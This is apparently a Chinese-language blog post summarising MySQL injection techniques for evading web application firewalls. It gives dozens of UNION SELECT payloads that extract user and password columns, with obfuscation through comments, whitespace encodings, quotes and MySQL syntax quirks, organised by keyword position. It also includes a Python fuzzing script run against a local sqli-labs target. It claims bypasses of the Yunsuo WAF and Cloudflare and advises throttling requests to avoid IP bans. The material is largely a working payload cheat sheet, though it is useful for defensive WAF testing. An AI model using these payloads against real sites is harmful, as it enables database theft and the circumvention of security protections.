MySQL繞過小結
0x01 前言
最近在網上搜集學習到關于 mysql 注入的操作,故做一個小總結。
0x02 測試
我的WafBypass之道 (SQL注入篇)這篇文章結尾部分提到的,把每個 SQL 關鍵字兩側可插入的點稱之為”位“,類似下圖:

我要總結的這些操作,也是圍著這五個位,下面開始。
位置一
(1)注釋符
/**/ %23 --+ /*!50000union*/
id=2/**/union select 1,user,3 from admin
(2)空白符
%09,%0a,%0b,%0c,%0d,%20,%a0
id= 1 %0a union select 1,user,3 from admin
(3)科學計算法
e .
id= 2e0 union select 1,user,3 from admin id= 1.union select 1,user,3 from admin id= 1.1union select 1,user,3 from admin 還有%1%2E %2%2E %3%2E id= 1' %1%2Eunion select user(),2 %23
(4)單引號雙引號
id= 1' 'xx'union select user(),2 %23 id= 1' ""union select user(),2 %23
需要閉合的先閉合,然后成對使用單雙引號
(5)x@
假設SQL語句為:select * from article where id = '2'
%@ *@ -@ +@ /@ <@ =@ >@ ^@ |@ %26@ -@'' -@"" -@@new
id=' -@ union select 1,2 ,3 %23 id=' %26@ union select 1,2 ,3 %23 id=' -@'' union select 1,2 ,3 %23 id=' -@@new union select 1,2 ,3 %23
(6){x key}
假設SQL語句為:select * from article where id = '2'
id=' and {x -2} union select 1,2,3 %23
id=' || !{`x` -2} union select 1,2,3 %23
id=' || !{`x` -@} union select 1,2,3 %23
id=' and {x id} union select 1,2,3 %23
id=' and {x id} union select 1,2,3 %23
id=' and {id (select/**/--0)}union select 1,2,3 %23
(7) 其他
\Nunion select 1,2,3 %23 null union select 1,2,3 %23
(8)函數
and MD5('a') union select 1,password,database() from users--+
and binary @ union select 1,password,3 from users--+
and ST_X(Point(1, 2)) union select 1,password,database() from users--+
更多內置函數查看
位置二
(1) 空白符
%09,%0a,%0b,%0c,%0d,%20
id= 1 union%0aselect 1,user,3 from admin
(2)注釋
/*!*/ /**/
id= 1 union /**/select 1,user,3 from admin
(3)括號
union(select 1,(password),3,4,5,6 from(users)) %23
(4) ALL | DISTINCT | DISTINCTROW
union ALL select 1,password,3 from users %23
(5)函數分隔
%09%0A %0D%0b %0b%0A %09%0C %09%23%0A --%0A %23%0A --+\N%0A %23%f0%0A ... union%23%0Aselect 1,password,3 from users %23 union-- xx%0Aselect 1,password,3 from users %23
位置三
(1) 空白符
%09,%0a,%0b,%0c,%0d,%20
union select %09 1,password,3 from users %23
(2)注釋
/*!*/ /**/
union select /**/ 1,password,3 from users %23
(3) ALL | DISTINCT | DISTINCTROW
union select ALL 1,password,3 from users %23
(4) {} ()
union select{x 1},password,3 from users %23
union select(1),password,3 from users %23
(5)符號
+ - @ ~ !
union select+1,password,3 from users %23
" ' 單雙引號
union select""a1,password,3 from users %23 union select+1,password,3 from users %23
組合
+@ +'' -@ -'' ~@ ~'' ~"" !@ !"" @$ @. \N$ ... union select+@a1,password,3 from users %23 union select\N$a1,password,3 from users %23
(6)函數
union select MD5('a') |1,2,database() from users--+
union select reverse('xx'),password,3 from users %23
union select ST_X(Point(1, 2))a,2,database() from users--+
更多內置函數查看
位置四
(1) 空白符
%09,%0a,%0b,%0c,%0d,%20,%23,%27
-1' union select 1,2,user()%23from users--+
(2)注釋
/*!*/ /**/
-1' union select 1,2,user()/**/from users--+
(3) 反引號
1' union select 1,2,password ``from users`` --+
(4)花括號
1' union select 1,2,{x password}from users --+
1' union select 1,2,(password)from users --+
(5) 符號
\N
1' union select 1,password,\Nfrom users --+
單雙引號
1' union select 1,user(),""from users --+
e .
1' union select 1,password,3e1from users --+
1' union select 1,password,3.1from users --+
組合
\N%0C \N%23 \N%27 %7E\N %21\N %27\N %2D\N %7E\N %2D%2D%0A %27-- --%40 --%27 --"" ... 1' union select 1,user(),\NXXXX%23from users --+ 1' union select 1,user(),%27XXXX--from users --+
位置五
(1) 空白符
%09,%0a,%0b,%0c,%0d,%20,%2E
1' union select 1,2,user() from%0dusers--+
(2)注釋
/*!*/ /**/
-1' union select 1,2,user() from /**/users--+
(3)花括號
1' union select 1,user(),3 from(users) --+
1' union select 1,user(),3 from{x users} --+
0x03 FUZZ
很多時候,單一姿勢是無法奏效繞過的,有些姿勢也是需要大量 FUZZ 得到,使用大量字符編碼對 SQL 語句的“位”進行 FUZZ,編寫了一個簡單Python腳本演示。
Python腳本

import requests
import itertools
List = ['%20','%09','%0a','%0b','%0c','%0d','%2d%2d','%23','%a0','%2D%2D%2B','%5C%4E','\\N']
count = 0
num = 2 #fuzz num 個字符組合
target = 'http://localhost/sqli-labs-master/Less-1/?id=-1\' '
for i in itertools.product(List,repeat=num):
count += 1
print(count,':',len(List)**num)
str = ''.join((i))
payload = '{}union select 1,user(),3 from users %23'.format(str)
url = target + payload
req = requests.get(url=url)
if "root@localhost" in req.text:
print(url)
with open("result.txt",'a',encoding='utf-8') as r:
r.write(str + "")
云鎖
fuzz 位置一利用空白字符、注釋、浮點數等生成2個字符組成的有效 payload

Burp跑下,得到狀態為 200 就是繞過的字符串,這里建議請求訪問頻率設置慢點,太快會被ban ip。

繞過

cloudflare

0x04 參考
https://mp.weixin.qq.com/s/qG_m7YXvEw2PwFXQDj6_qw
https://www.ms509.com/2020/06/24/Waf-Bypass-Sql/
https://xz.aliyun.com/t/368